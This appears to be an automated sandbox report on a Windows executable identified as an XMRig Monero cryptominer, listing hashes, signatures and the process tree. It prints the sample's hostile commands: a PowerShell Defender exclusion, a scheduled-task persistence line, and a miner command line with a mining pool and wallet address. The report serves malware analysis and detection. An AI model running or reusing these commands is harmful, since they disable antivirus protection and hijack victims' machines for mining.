Resubmissions
06/03/2024, 22:46
240306-2pzx2abc39 723/12/2022, 20:25
221223-y7mhwahb34 1023/12/2022, 20:11
221223-yx8ncscc9x 1023/12/2022, 20:03
221223-ys7v9sha97 10Analysis
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max time kernel
85s -
max time network
143s -
platform
windows7_x64 -
resource
win7-20220812-en -
resource tags
arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system -
submitted
23/12/2022, 20:03
Static task
static1
Behavioral task
behavioral1
Sample
896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe
Resource
win7-20220812-en
General
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Target
896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe
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Size
2.1MB
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MD5
55a350a007f6943a7e09f4abfdfa6979
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SHA1
c94e84ddbb6f525cfa675791c7f2d9b36d28a3ef
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SHA256
896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80
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SHA512
707269690787a70980cfc2658592cef762503ce7228fdfa56f5d584552327d28e338cc877fb37b1414f451a9c05a05fe3e134bc0197563a266fd62ab539bdc16
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SSDEEP
49152:yMkkwgEEIRmnl1DVHYYhdxiUFZ4l7jl1nUI3gg+cnIFPsxdgyg:yDkfRX4UTDennUI3gvcIlRz
Malware Config
Signatures
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XMRig Miner payload 13 IoCs
resource yara_rule behavioral1/memory/1228-104-0x0000000140000000-0x00000001407C9000-memory.dmp xmrig behavioral1/memory/1228-106-0x0000000140000000-0x00000001407C9000-memory.dmp xmrig behavioral1/memory/1228-108-0x0000000140000000-0x00000001407C9000-memory.dmp xmrig behavioral1/memory/1228-109-0x0000000140000000-0x00000001407C9000-memory.dmp xmrig behavioral1/memory/1228-111-0x0000000140000000-0x00000001407C9000-memory.dmp xmrig behavioral1/memory/1228-113-0x0000000140000000-0x00000001407C9000-memory.dmp xmrig behavioral1/memory/1228-114-0x0000000140000000-0x00000001407C9000-memory.dmp xmrig behavioral1/memory/1228-116-0x0000000140000000-0x00000001407C9000-memory.dmp xmrig behavioral1/memory/1228-118-0x0000000140000000-0x00000001407C9000-memory.dmp xmrig behavioral1/memory/1228-119-0x0000000140343234-mapping.dmp xmrig behavioral1/memory/1228-121-0x0000000140000000-0x00000001407C9000-memory.dmp xmrig behavioral1/memory/1228-123-0x0000000140000000-0x00000001407C9000-memory.dmp xmrig behavioral1/memory/1228-126-0x0000000140000000-0x00000001407C9000-memory.dmp xmrig -
Uses the VBS compiler for execution 1 TTPs
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Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 1212 set thread context of 1228 1212 896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe 34 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1384 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 1640 powershell.exe 1212 896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe -
Suspicious behavior: LoadsDriver 1 IoCs
pid Process 460 Process not Found -
Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 1212 896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe Token: SeDebugPrivilege 1640 powershell.exe Token: SeLockMemoryPrivilege 1228 vbc.exe Token: SeLockMemoryPrivilege 1228 vbc.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 1228 vbc.exe -
Suspicious use of WriteProcessMemory 24 IoCs
description pid Process procid_target PID 1212 wrote to memory of 1640 1212 896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe 28 PID 1212 wrote to memory of 1640 1212 896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe 28 PID 1212 wrote to memory of 1640 1212 896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe 28 PID 1212 wrote to memory of 524 1212 896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe 30 PID 1212 wrote to memory of 524 1212 896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe 30 PID 1212 wrote to memory of 524 1212 896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe 30 PID 524 wrote to memory of 1384 524 cmd.exe 32 PID 524 wrote to memory of 1384 524 cmd.exe 32 PID 524 wrote to memory of 1384 524 cmd.exe 32 PID 1212 wrote to memory of 1228 1212 896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe 34 PID 1212 wrote to memory of 1228 1212 896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe 34 PID 1212 wrote to memory of 1228 1212 896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe 34 PID 1212 wrote to memory of 1228 1212 896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe 34 PID 1212 wrote to memory of 1228 1212 896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe 34 PID 1212 wrote to memory of 1228 1212 896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe 34 PID 1212 wrote to memory of 1228 1212 896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe 34 PID 1212 wrote to memory of 1228 1212 896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe 34 PID 1212 wrote to memory of 1228 1212 896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe 34 PID 1212 wrote to memory of 1228 1212 896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe 34 PID 1212 wrote to memory of 1228 1212 896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe 34 PID 1212 wrote to memory of 1228 1212 896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe 34 PID 1212 wrote to memory of 1228 1212 896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe 34 PID 1212 wrote to memory of 1228 1212 896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe 34 PID 1212 wrote to memory of 1228 1212 896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe 34
Processes
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C:\Users\Admin\AppData\Local\Temp\896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe"C:\Users\Admin\AppData\Local\Temp\896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe"1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1212 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1640
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "HMHM" /tr "C:\ProgramData\edge\HMHM.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:524 -
C:\Windows\system32\schtasks.exeschtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "HMHM" /tr "C:\ProgramData\edge\HMHM.exe"3⤵
- Creates scheduled task(s)
PID:1384
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero2⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:1228
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